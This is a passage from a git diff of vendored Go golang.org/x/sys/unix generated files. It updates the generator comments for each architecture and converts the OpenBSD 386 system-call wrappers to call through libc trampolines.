-I/tmp/riscv64/include // Code generated by the command above; see README.md. DO NOT EDIT. //go:build riscv64 && linux // +build riscv64,linux // Code generated by cmd/cgo -godefs; DO NOT EDIT. -// cgo -godefs -- -Wall -Werror -static -I/tmp/include _const.go +// cgo -godefs -- -Wall -Werror -static -I/tmp/riscv64/include _const.go package unix diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_s390x.go b/vendor/golang.org/x/sys/unix/zerrors_linux_s390x.go index 1897f207b..390c01d92 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_s390x.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_s390x.go @@ -1,11 +1,11 @@ -// mkerrors.sh -Wall -Werror -static -I/tmp/include -fsigned-char +// mkerrors.sh -Wall -Werror -static -I/tmp/s390x/include -fsigned-char // Code generated by the command above; see README.md. DO NOT EDIT. //go:build s390x && linux // +build s390x,linux // Code generated by cmd/cgo -godefs; DO NOT EDIT. -// cgo -godefs -- -Wall -Werror -static -I/tmp/include -fsigned-char _const.go +// cgo -godefs -- -Wall -Werror -static -I/tmp/s390x/include -fsigned-char _const.go package unix diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_sparc64.go b/vendor/golang.org/x/sys/unix/zerrors_linux_sparc64.go index 1fb7a3953..98a6e5f11 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_sparc64.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_sparc64.go @@ -1,11 +1,11 @@ -// mkerrors.sh -Wall -Werror -static -I/tmp/include +// mkerrors.sh -Wall -Werror -static -I/tmp/sparc64/include // Code generated by the command above; see README.md. DO NOT EDIT. //go:build sparc64 && linux // +build sparc64,linux // Code generated by cmd/cgo -godefs; DO NOT EDIT. -// cgo -godefs -- -Wall -Werror -static -I/tmp/include _const.go +// cgo -godefs -- -Wall -Werror -static -I/tmp/sparc64/include _const.go package unix diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.1_13.s b/vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.1_13.s index d6c3e25c0..f5bb40eda 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.1_13.s +++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.1_13.s @@ -1,4 +1,4 @@ -// go run mkasm_darwin.go amd64 +// go run mkasm.go darwin amd64 // Code generated by the command above; DO NOT EDIT. //go:build go1.13 diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.s b/vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.s index 7e308a476..b41467a0e 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.s +++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_amd64.s @@ -1,4 +1,4 @@ -// go run mkasm_darwin.go amd64 +// go run mkasm.go darwin amd64 // Code generated by the command above; DO NOT EDIT. //go:build go1.12 diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.1_13.s b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.1_13.s index 357989722..0c3f76bc2 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.1_13.s +++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.1_13.s @@ -1,4 +1,4 @@ -// go run mkasm_darwin.go arm64 +// go run mkasm.go darwin arm64 // Code generated by the command above; DO NOT EDIT. //go:build go1.13 diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.s b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.s index b09e5bb0e..e1f9204a2 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.s +++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm64.s @@ -1,4 +1,4 @@ -// go run mkasm_darwin.go arm64 +// go run mkasm.go darwin arm64 // Code generated by the command above; DO NOT EDIT. //go:build go1.12 diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_386.go b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_386.go index a057fc5d3..2925fe0a7 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_386.go +++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_386.go @@ -1,4 +1,4 @@ -// go run mksyscall.go -l32 -openbsd -tags openbsd,386 syscall_bsd.go syscall_openbsd.go syscall_openbsd_386.go +// go run mksyscall.go -l32 -openbsd -libc -tags openbsd,386 syscall_bsd.go syscall_openbsd.go syscall_openbsd_386.go // Code generated by the command above; see README.md. DO NOT EDIT. //go:build openbsd && 386 @@ -16,7 +16,7 @@ var _ syscall.Errno // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func getgroups(ngid int, gid *_Gid_t) (n int, err error) { - r0, _, e1 := RawSyscall(SYS_GETGROUPS, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0) + r0, _, e1 := syscall_rawSyscall(libc_getgroups_trampoline_addr, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -24,20 +24,28 @@ func getgroups(ngid int, gid *_Gid_t) (n int, err error) { return } +var libc_getgroups_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getgroups getgroups "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func setgroups(ngid int, gid *_Gid_t) (err error) { - _, _, e1 := RawSyscall(SYS_SETGROUPS, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0) + _, _, e1 := syscall_rawSyscall(libc_setgroups_trampoline_addr, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_setgroups_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setgroups setgroups "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) { - r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0) + r0, _, e1 := syscall_syscall6(libc_wait4_trampoline_addr, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0) wpid = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -45,10 +53,14 @@ func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err return } +var libc_wait4_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_wait4 wait4 "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) { - r0, _, e1 := Syscall(SYS_ACCEPT, uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen))) + r0, _, e1 := syscall_syscall(libc_accept_trampoline_addr, uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen))) fd = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -56,30 +68,42 @@ func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) { return } +var libc_accept_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_accept accept "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) { - _, _, e1 := Syscall(SYS_BIND, uintptr(s), uintptr(addr), uintptr(addrlen)) + _, _, e1 := syscall_syscall(libc_bind_trampoline_addr, uintptr(s), uintptr(addr), uintptr(addrlen)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_bind_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_bind bind "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func connect(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) { - _, _, e1 := Syscall(SYS_CONNECT, uintptr(s), uintptr(addr), uintptr(addrlen)) + _, _, e1 := syscall_syscall(libc_connect_trampoline_addr, uintptr(s), uintptr(addr), uintptr(addrlen)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_connect_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_connect connect "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func socket(domain int, typ int, proto int) (fd int, err error) { - r0, _, e1 := RawSyscall(SYS_SOCKET, uintptr(domain), uintptr(typ), uintptr(proto)) + r0, _, e1 := syscall_rawSyscall(libc_socket_trampoline_addr, uintptr(domain), uintptr(typ), uintptr(proto)) fd = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -87,66 +111,94 @@ func socket(domain int, typ int, proto int) (fd int, err error) { return } +var libc_socket_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_socket socket "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func getsockopt(s int, level int, name int, val unsafe.Pointer, vallen *_Socklen) (err error) { - _, _, e1 := Syscall6(SYS_GETSOCKOPT, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(unsafe.Pointer(vallen)), 0) + _, _, e1 := syscall_syscall6(libc_getsockopt_trampoline_addr, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(unsafe.Pointer(vallen)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_getsockopt_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getsockopt getsockopt "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func setsockopt(s int, level int, name int, val unsafe.Pointer, vallen uintptr) (err error) { - _, _, e1 := Syscall6(SYS_SETSOCKOPT, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(vallen), 0) + _, _, e1 := syscall_syscall6(libc_setsockopt_trampoline_addr, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(vallen), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_setsockopt_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setsockopt setsockopt "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func getpeername(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) { - _, _, e1 := RawSyscall(SYS_GETPEERNAME, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen))) + _, _, e1 := syscall_rawSyscall(libc_getpeername_trampoline_addr, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen))) if e1 != 0 { err = errnoErr(e1) } return } +var libc_getpeername_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getpeername getpeername "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func getsockname(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) { - _, _, e1 := RawSyscall(SYS_GETSOCKNAME, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen))) + _, _, e1 := syscall_rawSyscall(libc_getsockname_trampoline_addr, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen))) if e1 != 0 { err = errnoErr(e1) } return } +var libc_getsockname_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getsockname getsockname "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Shutdown(s int, how int) (err error) { - _, _, e1 := Syscall(SYS_SHUTDOWN, uintptr(s), uintptr(how), 0) + _, _, e1 := syscall_syscall(libc_shutdown_trampoline_addr, uintptr(s), uintptr(how), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_shutdown_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_shutdown shutdown "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func socketpair(domain int, typ int, proto int, fd *[2]int32) (err error) { - _, _, e1 := RawSyscall6(SYS_SOCKETPAIR, uintptr(domain), uintptr(typ), uintptr(proto), uintptr(unsafe.Pointer(fd)), 0, 0) + _, _, e1 := syscall_rawSyscall6(libc_socketpair_trampoline_addr, uintptr(domain), uintptr(typ), uintptr(proto), uintptr(unsafe.Pointer(fd)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_socketpair_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_socketpair socketpair "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Socklen) (n int, err error) { @@ -156,7 +208,7 @@ func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Sockl } else { _p0 = unsafe.Pointer(&_zero) } - r0, _, e1 := Syscall6(SYS_RECVFROM, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(flags), uintptr(unsafe.Pointer(from)), uintptr(unsafe.Pointer(fromlen))) + r0, _, e1 := syscall_syscall6(libc_recvfrom_trampoline_addr, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(flags), uintptr(unsafe.Pointer(from)), uintptr(unsafe.Pointer(fromlen))) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -164,6 +216,10 @@ func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Sockl return } +var libc_recvfrom_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_recvfrom recvfrom "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (err error) { @@ -173,17 +229,21 @@ func sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) ( } else { _p0 = unsafe.Pointer(&_zero) } - _, _, e1 := Syscall6(SYS_SENDTO, uintptr(s), uintptr(_p0), uintptr(len(buf)), uintptr(flags), uintptr(to), uintptr(addrlen)) + _, _, e1 := syscall_syscall6(libc_sendto_trampoline_addr, uintptr(s), uintptr(_p0), uintptr(len(buf)), uintptr(flags), uintptr(to), uintptr(addrlen)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_sendto_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_sendto sendto "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func recvmsg(s int, msg *Msghdr, flags int) (n int, err error) { - r0, _, e1 := Syscall(SYS_RECVMSG, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags)) + r0, _, e1 := syscall_syscall(libc_recvmsg_trampoline_addr, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags)) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -191,10 +251,14 @@ func recvmsg(s int, msg *Msghdr, flags int) (n int, err error) { return } +var libc_recvmsg_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_recvmsg recvmsg "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func sendmsg(s int, msg *Msghdr, flags int) (n int, err error) { - r0, _, e1 := Syscall(SYS_SENDMSG, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags)) + r0, _, e1 := syscall_syscall(libc_sendmsg_trampoline_addr, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags)) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -202,10 +266,14 @@ func sendmsg(s int, msg *Msghdr, flags int) (n int, err error) { return } +var libc_sendmsg_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_sendmsg sendmsg "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, nevent int, timeout *Timespec) (n int, err error) { - r0, _, e1 := Syscall6(SYS_KEVENT, uintptr(kq), uintptr(change), uintptr(nchange), uintptr(event), uintptr(nevent), uintptr(unsafe.Pointer(timeout))) + r0, _, e1 := syscall_syscall6(libc_kevent_trampoline_addr, uintptr(kq), uintptr(change), uintptr(nchange), uintptr(event), uintptr(nevent), uintptr(unsafe.Pointer(timeout))) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -213,6 +281,10 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne return } +var libc_kevent_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_kevent kevent "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func utimes(path string, timeval *[2]Timeval) (err error) { @@ -221,27 +293,35 @@ func utimes(path string, timeval *[2]Timeval) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(timeval)), 0) + _, _, e1 := syscall_syscall(libc_utimes_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(timeval)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_utimes_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_utimes utimes "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func futimes(fd int, timeval *[2]Timeval) (err error) { - _, _, e1 := Syscall(SYS_FUTIMES, uintptr(fd), uintptr(unsafe.Pointer(timeval)), 0) + _, _, e1 := syscall_syscall(libc_futimes_trampoline_addr, uintptr(fd), uintptr(unsafe.Pointer(timeval)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_futimes_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_futimes futimes "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func poll(fds *PollFd, nfds int, timeout int) (n int, err error) { - r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout)) + r0, _, e1 := syscall_syscall(libc_poll_trampoline_addr, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout)) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -249,6 +329,10 @@ func poll(fds *PollFd, nfds int, timeout int) (n int, err error) { return } +var libc_poll_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_poll poll "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Madvise(b []byte, behav int) (err error) { @@ -258,13 +342,17 @@ func Madvise(b []byte, behav int) (err error) { } else { _p0 = unsafe.Pointer(&_zero) } - _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(behav)) + _, _, e1 := syscall_syscall(libc_madvise_trampoline_addr, uintptr(_p0), uintptr(len(b)), uintptr(behav)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_madvise_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_madvise madvise "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mlock(b []byte) (err error) { @@ -274,23 +362,31 @@ func Mlock(b []byte) (err error) { } else { _p0 = unsafe.Pointer(&_zero) } - _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0) + _, _, e1 := syscall_syscall(libc_mlock_trampoline_addr, uintptr(_p0), uintptr(len(b)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_mlock_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_mlock mlock "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mlockall(flags int) (err error) { - _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0) + _, _, e1 := syscall_syscall(libc_mlockall_trampoline_addr, uintptr(flags), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_mlockall_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_mlockall mlockall "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Mprotect(b []byte, prot int) (err error) { @@ -300,13 +396,17 @@ func Mprotect(b []byte, prot int) (err error) { } else { _p0 = unsafe.Pointer(&_zero) } - _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot)) + _, _, e1 := syscall_syscall(libc_mprotect_trampoline_addr, uintptr(_p0), uintptr(len(b)), uintptr(prot)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_mprotect_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_mprotect mprotect "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Msync(b []byte, flags int) (err error) { @@ -316,13 +416,17 @@ func Msync(b []byte, flags int) (err error) { } else { _p0 = unsafe.Pointer(&_zero) } - _, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags)) + _, _, e1 := syscall_syscall(libc_msync_trampoline_addr, uintptr(_p0), uintptr(len(b)), uintptr(flags)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_msync_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_msync msync "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Munlock(b []byte) (err error) { @@ -332,33 +436,45 @@ func Munlock(b []byte) (err error) { } else { _p0 = unsafe.Pointer(&_zero) } - _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0) + _, _, e1 := syscall_syscall(libc_munlock_trampoline_addr, uintptr(_p0), uintptr(len(b)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_munlock_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_munlock munlock "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Munlockall() (err error) { - _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0) + _, _, e1 := syscall_syscall(libc_munlockall_trampoline_addr, 0, 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_munlockall_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_munlockall munlockall "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func pipe2(p *[2]_C_int, flags int) (err error) { - _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0) + _, _, e1 := syscall_rawSyscall(libc_pipe2_trampoline_addr, uintptr(unsafe.Pointer(p)), uintptr(flags), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_pipe2_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_pipe2 pipe2 "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getdents(fd int, buf []byte) (n int, err error) { @@ -368,7 +484,7 @@ func Getdents(fd int, buf []byte) (n int, err error) { } else { _p0 = unsafe.Pointer(&_zero) } - r0, _, e1 := Syscall(SYS_GETDENTS, uintptr(fd), uintptr(_p0), uintptr(len(buf))) + r0, _, e1 := syscall_syscall(libc_getdents_trampoline_addr, uintptr(fd), uintptr(_p0), uintptr(len(buf))) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -376,6 +492,10 @@ func Getdents(fd int, buf []byte) (n int, err error) { return } +var libc_getdents_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getdents getdents "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Getcwd(buf []byte) (n int, err error) { @@ -385,7 +505,7 @@ func Getcwd(buf []byte) (n int, err error) { } else { _p0 = unsafe.Pointer(&_zero) } - r0, _, e1 := Syscall(SYS___GETCWD, uintptr(_p0), uintptr(len(buf)), 0) + r0, _, e1 := syscall_syscall(libc_getcwd_trampoline_addr, uintptr(_p0), uintptr(len(buf)), 0) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -393,16 +513,24 @@ func Getcwd(buf []byte) (n int, err error) { return } +var libc_getcwd_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getcwd getcwd "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func ioctl(fd int, req uint, arg uintptr) (err error) { - _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg)) + _, _, e1 := syscall_syscall(libc_ioctl_trampoline_addr, uintptr(fd), uintptr(req), uintptr(arg)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_ioctl_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_ioctl ioctl "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) { @@ -412,17 +540,21 @@ func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) } else { _p0 = unsafe.Pointer(&_zero) } - _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen)) + _, _, e1 := syscall_syscall6(libc_sysctl_trampoline_addr, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_sysctl_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_sysctl sysctl "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) { - r0, _, e1 := Syscall6(SYS_PPOLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0) + r0, _, e1 := syscall_syscall6(libc_ppoll_trampoline_addr, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -430,6 +562,10 @@ func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, return } +var libc_ppoll_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_ppoll ppoll "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Access(path string, mode uint32) (err error) { @@ -438,23 +574,31 @@ func Access(path string, mode uint32) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_ACCESS, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0) + _, _, e1 := syscall_syscall(libc_access_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_access_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_access access "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Adjtime(delta *Timeval, olddelta *Timeval) (err error) { - _, _, e1 := Syscall(SYS_ADJTIME, uintptr(unsafe.Pointer(delta)), uintptr(unsafe.Pointer(olddelta)), 0) + _, _, e1 := syscall_syscall(libc_adjtime_trampoline_addr, uintptr(unsafe.Pointer(delta)), uintptr(unsafe.Pointer(olddelta)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_adjtime_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_adjtime adjtime "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Chdir(path string) (err error) { @@ -463,13 +607,17 @@ func Chdir(path string) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_CHDIR, uintptr(unsafe.Pointer(_p0)), 0, 0) + _, _, e1 := syscall_syscall(libc_chdir_trampoline_addr, uintptr(unsafe.Pointer(_p0)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_chdir_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_chdir chdir "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Chflags(path string, flags int) (err error) { @@ -478,13 +626,17 @@ func Chflags(path string, flags int) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_CHFLAGS, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0) + _, _, e1 := syscall_syscall(libc_chflags_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_chflags_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_chflags chflags "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Chmod(path string, mode uint32) (err error) { @@ -493,13 +645,17 @@ func Chmod(path string, mode uint32) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_CHMOD, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0) + _, _, e1 := syscall_syscall(libc_chmod_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_chmod_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_chmod chmod "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Chown(path string, uid int, gid int) (err error) { @@ -508,13 +664,17 @@ func Chown(path string, uid int, gid int) (err error) { if err != nil { return } - _, _, e1 := Syscall(SYS_CHOWN, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid)) + _, _, e1 := syscall_syscall(libc_chown_trampoline_addr, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid)) if e1 != 0 { err = errnoErr(e1) } return } 